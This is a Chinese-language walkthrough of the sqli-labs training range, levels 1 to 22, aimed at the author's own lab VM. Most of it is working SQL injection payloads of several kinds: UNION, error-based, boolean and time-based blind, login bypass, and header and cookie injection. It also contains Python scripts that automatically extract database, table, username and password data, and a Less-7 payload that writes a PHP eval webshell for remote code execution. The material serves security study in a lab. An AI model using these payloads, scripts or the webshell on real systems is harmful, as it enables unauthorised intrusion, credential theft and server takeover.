【sqli-labs】 page-1 Less 1-22
sqli-labs 1-65
基础
information_chema 库
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
靶场中主要使用 tables、columns 两张表
tables 表具有table_schema
、table_name
两个字段。
table_schema
所属库table_name
表名
columns 表具有 table_schema
、table_name
、column_name
三个字段
-
table_schema
所属库 -
table_name
所属表 -
columns_name
字段名
GET 传参基于报错注入
主要目标是获取用户的账号、密码
less-1
漏洞验证
# 正常显示
http://192.168.124.16:8080/Less-1/?id=1
# 错误显示
http://192.168.124.16:8080/Less-1/?id=1'
会爆出错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
关键点在于 ''1'' LIMIT 0,1',这里单引号是 5 个。
如果我们再多一个单引号,或者将后面语句注释掉
?id=1''
?id=1' --+
正确显示,证明这种方法可行
原因
-- SQL 语句是这样,用单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1
-- id=1'
SELECT * FROM users WHERE id='1'' LIMIT 0,1
即:'1'' LIMIT 0,1
我们输入的单引号会跟前面形成闭合,即 '1'' LIMIT 0,1 后面那个单引号没有闭合,会产生错误
这时我们考虑给多出来的单引号配对或是注释,会解决这个问题
-- id=1''
SELECT * FROM users WHERE id='1''' LIMIT 0,1
-- id=1' --+
SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1
在此扩展一下如何判断单双引号以及是否含有括号闭合
常用闭合:数字型、字符型(单双引号、括号、混合)
1、数字型(没有闭合)
数字型特点:无论什么闭合都会错误
?id=1' # 错误
?id=1'' # 错误
?id=1" # 错误
?id=1"" # 错误
?id=1) # 错误
?id=1)( # 错误
2、字符型
1)单闭合
单闭合就是用单引号、双引号、括号
中的一个进行闭合,判断方法
select username,password from users where id = '$id' limit 0,1; # 单引号闭合的 sql 语句
# 输入奇数个单引号报错,可以判断原 sql 语句没有使用双引号
?id=1' # 错误
# 输入偶数个单引号正确,可以判断是使用了单引号的字符型
?id=1'' # 正确
# 双引号、括号也是同理,主要查看奇数个、偶数个差别
2)混合闭合
混合闭合稍微提升了一点难度,主要是单引号+括号、双引号+括号。单引号+括号+双引号、双引号+括号+单引号少见
select username,password from users where id = ('$id') limit 0,1; # 单引号+括号闭合的 sql 语句
# 如果输入单引号闭合
?id=1' # 报错是显而易见的
?id=1'' # 如果是两个单引号,就不会报错
# 放进 sql 语句则是,对括号似乎没有影响
select username,password from users where id = ('$id''') limit 0,1;
# 但你会在下一步报错
?id=0' union select 1,2,3--+ # 这步必报错,放进 sql 语句查看
select username,password from users where id = ('0' union select 1,2,3 --+) limit 0,1;
# 相当于,这样当然会报错
select username,password from users where id = ('0' union select 1,2,3
# 判断方法(假如是由 单引号+括号 闭合)
?id=2' # 判断单引号
?id=2' and 1='1 # 判断括号
# 我们都知道:and、or 的结果不是 1 就是 0,
# id=('1') 、id=('1' and '1'),这两种情况结果相同,但不能确定括号
# id=('2') 、id=('2' and '1'),这两种情况结果不相同,是两种结果
漏洞利用
-- 常规确定字段、爆库、爆表、爆字段
-- 确定字段数
?id=0' order by 4 --+ # 4 报错
?id=0' order by 3 --+ # 3 正确,说明一共有 3 个字段
-- 确定字段使用位置
?id=0' union select 1,2,3 --+
-- 爆库
-- 爆表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --+
-- 爆字段
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'; --+
--
?id=0' union select 1,group_concat(username),group_concat(password) from users; --+
less-2
漏洞验证
?id=1' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
奇数个单引号,跟第一题一模一样
?id=1'' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1
这下是偶数个单引号了,有没有可能 SQL 语句没有使用单引号
?id=1 --+ # 正确
这下对了
漏洞利用
?id=0 order by 4 --+
?id=0 order by 3 --+
剩余步骤参考 less-1
less-3
?id=1' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
'1'') LIMIT 0,1
根据错误信息一下看出使用 ')
闭合。
less-4
漏洞验证
?id=1' # 正确
似乎单引号直接闭合,试试 less-3 的闭合
?id=1') # 正确
补充知识点:如果字符串是数字在前,其他符号在后
则无视数字后的字符。
单引号不行,还剩双引号
?id=1" # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
很明显,使用 ")
闭合
less-5
漏洞验证
?id=1' # 错误
单引号闭合。不显示 username、password,但有报错
updatexml()、extractvalue()、floor()、ceil()
-
updatexml()、extractvalue() 较为类似
MySQL 5.1.5 版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
extarctvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
两函数都是执行失败返回 xpath 错误内容
- floor()、ceil() 较为复杂,利用
rand() 的多次调用
和group by 的虚拟表
的特性。虚拟表出现重复值,会返回该值
payload
1、updatexml
# updatexml 报错
# 爆库
?id=1' and updatexml('~',concat(1,database()),'~') --+
# 爆表
?id=1' and updatexml('~',concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'~') --+
2、extractvalue
# extractvalue 报错
# 爆库
?id=1' and extractvalue(1,concat(1,database())) --+
# 爆表
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3、floor、ceil
# floor 报错
# ceil 与 floor 用法一致
# 爆库
# 写法一
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+
# 写法二
?id=1' and (select * from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
# 爆表,只能一条一条显示,可以用 linit 获取全部数据
?id=1' and (select * from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
Less-6
用双引号闭合,与上一题一致
Less-7
'))
闭合,要求用 outfile 方式
条件:
- 数据库具有
secure_file_priv
权限(只能通过配置文件改) - 数据库具有创建/写入文件权限
靶机环境:linux 下的 docker 容器
1、查看 secure_file_priv 权限
show global variables like '%secure%'; # sql 查询 secure_file_priv 权限
cat /etc/mysql/my.cnf |grep tmp # linux 下查看配置文件 tmpdir = /tmp 就行
2、更改文件权限
chmod 777 /var/www/html/Less-7 # 这条改了不行就用下面的
chown -R mysql:mysql /var/www/html/Less-7 # linux 命令
payload
?id=1')) union select 1,1,"<?php eval($_GET[1])?>" into outfile "/var/www/html/Less-7/1.php" --+
访问 http://192.168.148.131:8080/Less-7/1.php
,出现下列界面说明导出成功(如果 payload 跟我一致)
验证一下:访问http://192.168.148.131:8080/Less-7/1.php?1=phpinfo()
刷新,成功,这下从 SQL 注入变成 RCE
盲注
盲注分为布尔盲注、时间盲注
Less-8
单引号闭合。
正确会显示You are in...........
,错误没有任何信息。非常符合盲注的特性,正确错误两个状态
漏洞验证
?id=1' and '1 # 正确
?id=1' and '0 # 错误
# 用 if 替换
?id=1' and if(2>1,1,0) # 正确
# 手工爆库,已知库名为 security,我们需要一个字母一个字母判断
# 布尔盲注
# 使用 substr 函数切片,转换成 ascii 码,二分法判断
?id=1' and if(ascii(substr(database(),1,1))>45,1,0) --+
# 不用 ascii 码判断也行
?id=1' and if(ascii(substr(database(),1,1))='a',1,0) --+
# 时间盲注
?id=1' and sleep(5) # 非常明显的延迟感
?id=1' and if(2>1,sleep(5),0) # 判断正确,延迟 5 秒,错误,没有延迟
# 利用延迟感来判断是否正确
?id=1' and if(ascii(substr(database(),1,1))>45,sleep(5),0) --+
盲注对于手工来说非常耗时,一般都是使用脚本或者 sqlmap,下面给出布尔注入的脚本,时间盲注脚本类似
python 脚本
半自动化,需要手工选择爆库、爆表、爆字段(脚本写的不行,望大佬请喷)
import requests
import string
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-8/' # 改成你的 IP
# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串。
# ascii 码也行,最近看到 string 库,就顺便拿来用了
letter = string.ascii_lowercase + string.punctuation + string.digits
# letter = string.printable # 包含特殊字符、数字、大小写字母
index = 1 # 初始位
st = '' # 初始值
while True:
limit = 1 # 防止死循环
for i in letter:
# 爆库
data = f"?id=1' and if(substr((database()),{index},1)='{i}',1,0) --+"
# # 爆表
# data = f"?id=1' and if(substr((select group_concat(table_name) " \
# f"from information_schema.tables where table_schema=database()),{index},1)='{i}',1,0) --+"
# # 爆字段
# data = f"?id=1' and if(substr((select group_concat(column_name) " \
# f"from information_schema.columns where table_name='users'),{index},1)='{i}',1,0) --+"
# # 枚举所有 password
# data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',1,0) --+"
# # 枚举所有 username
# data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',1,0) --+"
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'You are in...........' in respond:
st += i # 获取正确值
limit = 0 # 防止死循环
print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
index += 1 # 下一位
break
if st.count('+') > 10:break # 十个连续加号代表获取完毕
if limit == 1: break # 防止死循环
print(st)
优化,不需要手动选择爆库、爆表,全自动化,只需要改 url
缺点:只获取某库最后一张表的 username,password 两个字段的数据,不能获取某张表或者某个库的所有数据
import requests
import string
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-8/' # 改成你的 IP
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits
index,key_index = 1,0 # 初始位
dic = {'database':['',True,{'name':'database()','From':'','where':''}],
'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
'password':['',True,{'name':"password",'From':"from {table}",'where':''}],
'username':['',True,{'name':"username",'From':"from {table}",'where':''}]
}
keys = list(dic.keys())
def payload(name,From,where,index,i):
data = f"?id=1' and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',1,0) --+"
return data
while True:
mark = True # 标记,防止死循环
# 获取最后一张表的表名
if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]
# 代表 库、表、字段、值 全部获取完毕,打印输出
if key_index == 5:
print('\r',end='')
database = dic['database'][0]
for i in dic:
print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
exit()
# 组装 payload
for i in letter:
if dic[keys[key_index]][2]:
# 替 payload 中的表名
end = list(dic[keys[key_index]][2].keys())
if '{table}' in dic[keys[key_index]][2][end[-1]]:
dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
elif '{table}' in dic[keys[key_index]][2][end[-2]]:
dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
# 获取 payload
data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
# print(respond)
if 'You are in...........' in respond:
dic[keys[key_index]][0] += i
print('\r',dic[keys[key_index]][0],end = '')
index += 1 # 下一位
mark = False # 防止死循环
break
if dic[keys[key_index]][0].count('+')==10: # 十个连续加号代表获取完毕
dic[keys[key_index]][1],dic[keys[key_index]][0] = False,dic[keys[key_index]][0][:-10]
index = 1 # 重置
key_index += 1
if mark:exit('错误') # 防止死循环
Less-9
单引号闭合,sql 语句不是数字型就是字符型,字符型通常用单双引号、括号闭合,或者混合闭合
漏洞验证
# 数字型尝试
?id=1 and 1=1
?id=1 and 1=2
# 字符型尝试
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
...
# 以上没有任何反应,是对是错不能分辨,报错注入、布尔盲注基本排除
# 考虑 sleep 函数是否可行
?id=1 and sleep(5) --+
?id=1' and sleep(5) --+ # 有明显延迟感觉,可以考虑时间盲注
Less-9 源代码,很明显,故意正确错误都不显示
if($row) # 正确
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}else { # 错误
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
时间盲注脚本,由于计算机速度非常快,这里只需要延迟 0.2 秒即可。半自动化
import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.124.16:8080 是我虚拟机 IP
url = 'http://192.168.124.16:8080/Less-9/' # 改成你的 IP
# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串
# (这个顺序是我查看 sqli-lab 数据库得出来得,这个顺序比下面那个快一点)
letter = string.ascii_lowercase + string.punctuation + string.digits
# letter = string.printable # 包含特殊字符、数字、大小写字母
index = 1 # 初始位
st = '' # 初始值
while True:
limit = 1 # 防止死循环
for i in letter:
# 爆库
data = f"?id=1' and if(substr((database()),{index},1)='{i}',sleep(0.3),0) --+"
# # 爆表
# data = f"?id=1' and if(substr((select group_concat(table_name) " \
# f"from information_schema.tables where table_schema=database()),{index},1)='{i}',sleep(0.2),0) --+"
# # 爆字段
# data = f"?id=1' and if(substr((select group_concat(column_name) " \
# f"from information_schema.columns where table_name='users'),{index},1)='{i}',sleep(0.2),0) --+"
# # 枚举所有 password
# data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',sleep(0.2),0) --+"
# # 枚举所有 username
# data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',sleep(0.2),0) --+"
start_time = time.perf_counter() # 执行开始时间
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
end_time = time.perf_counter() # 执行结束时间
if end_time-start_time>=0.2:
st += i # 获取正确值
limit = 0 # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
index += 1 # 下一位
break
if st.count('+') > 10:break # + 在 sql 中被认为是空格,超过十个,可以认为是
if limit == 1: break # 防止死循环
print(st)
全自动化,Less-9 脚本随便改改
import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-9/' # 改成你的 IP
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits
index,key_index = 1,0 # 初始位
dic = {'database':['',True,{'name':'database()','From':'','where':''}],
'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
'password':['',True,{'name':"password",'From':"from {table}",'where':''}],
'username':['',True,{'name':"username",'From':"from {table}",'where':''}]
}
keys = list(dic.keys())
def payload(name,From,where,index,i):
data = f"?id=1' and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.2),0) --+"
return data
while True:
mark = True # 标记,防止死循环
# 获取最后一张表的表名
if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]
# 代表 库、表、字段、值 全部获取完毕,打印输出
if key_index == 5:
print('\r',end='')
database = dic['database'][0]
for i in dic:
print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
exit()
# 组装 payload
for i in letter:
if dic[keys[key_index]][2]:
# 替 payload 中的表名
end = list(dic[keys[key_index]][2].keys())
if '{table}' in dic[keys[key_index]][2][end[-1]]:
dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
elif '{table}' in dic[keys[key_index]][2][end[-2]]:
dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
# 获取 payload
data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)
time_start = time.perf_counter()
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
time_end = time.perf_counter()
if time_end - time_start>0.2:
dic[keys[key_index]][0] += i
print('\r',dic[keys[key_index]][0],end = '')
index += 1 # 下一位
mark = False # 防止死循环
break
if dic[keys[key_index]][0].count('+')==10: # 十个连续加号代表获取完毕
dic[keys[key_index]][1],dic[keys[key_index]][0] = False,dic[keys[key_index]][0][:-10]
index = 1 # 重置
key_index += 1
if mark:exit('错误') # 防止死循环
Less-10
双引号闭合,将 Less-9 脚本中的所有单双引号对调即可
PSOT 传参基于报错注入
主要目标是登录成功
Less-11
漏洞验证
uname 1'
passwd 1234
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234' LIMIT 0,1' at line 1
我们在 uname 框输入单引号,但错误信息中1234' LIMIT 0,1
这部分似乎是我们输入的密码,而我们密码并没有输入单引号。猜测部分 SQL 语句为:
where uname = '$uname' and passwd = '$passwd' limit 0,1
原本闭合应该是这样:where uname = '1'' and passwd = '1234' limit 0,1
但实际上却变成这样:where uname = '1'' and passwd = '1234' limit 0,1
单引号闭合
如果 where 条件变成:where 1
那么相当于没有 where 条件限制
万能密码:
uname 0' or 1=1 #
passwd 1234
Less-12
")
闭合
Less-13
')
闭合
Less-14
"
闭合
Less-15 无回显
SQL 语句闭合不外乎'
、"
、)
三种或是它们组合
uname admin' and sleep(3)#
passwd 1234
'
闭合
Less-16 无回显
")
闭合
Less-17 密码重置页面
页面给出提示,很显然 SQL 语句应该是 update
[PASSWORD RESET]
后端对 uname 进行过滤,单双引号都会出现提示。可以尝试对 passwd 进行注入
uname admin
passwd 1'
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
有报错信息就使用报错注入
uname admin
passwd 1' and updatexml(1,concat(1,database()),1)#
updatexml 常规爆库爆表
记得将 admin 密码修改回来
HTTP 协议
Less-18
页面信息,获取了本机 IP
Your IP ADDRESS is: 192.168.124.2
uname、passwd 框,单双引号、括号都不行,用正确的账号密码登录
uname admin
passwd admin
正确登录后发现,页面获取了 HTTP 的 UA 头
Your User Agent is: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
也许可以在 UA 头搞事情
抓包,F12,再次提交正确的账号密码
1)找到网络,打开数据包
2)重发数据包(最右侧)
3)修改数据包内容,主要修改 UA 头,修改后发送
4)查看响应内容(选择最新的数据包,被选中的数据包是蓝色),有报错信息,可以使用报错注入(注意闭合条件)
5)爆库
Less-19
先正确登录,账号:admin,密码:admin
Your Referer is: http://192.168.124.16:8080/Less-19/
提示 referer ,burp 抓包
1)修改 referer 头,添加单引号,报错,说明单引号闭合
2)单引号闭合,但最后需要添加 )
爆库
Less-20
先正确登录,账号:admin,密码:admin
界面如下,提示 cookie
1)F12,找到 cookie
2)修改 cookie
3)爆库
Less-21
同样使用 admin 登录,发现 cookie 中 uname 值不是 admin
YOUR COOKIE : uname = YWRtaW4= and expires: Sun 19 Nov 2023 - 11:52:49
很典型的 base64 编码特征
方法及步骤与 Less-20 一致,将 Less-20 的 payload 用 base64 编码一下就好
Less-22
方法与步骤同 Less-21,注意闭合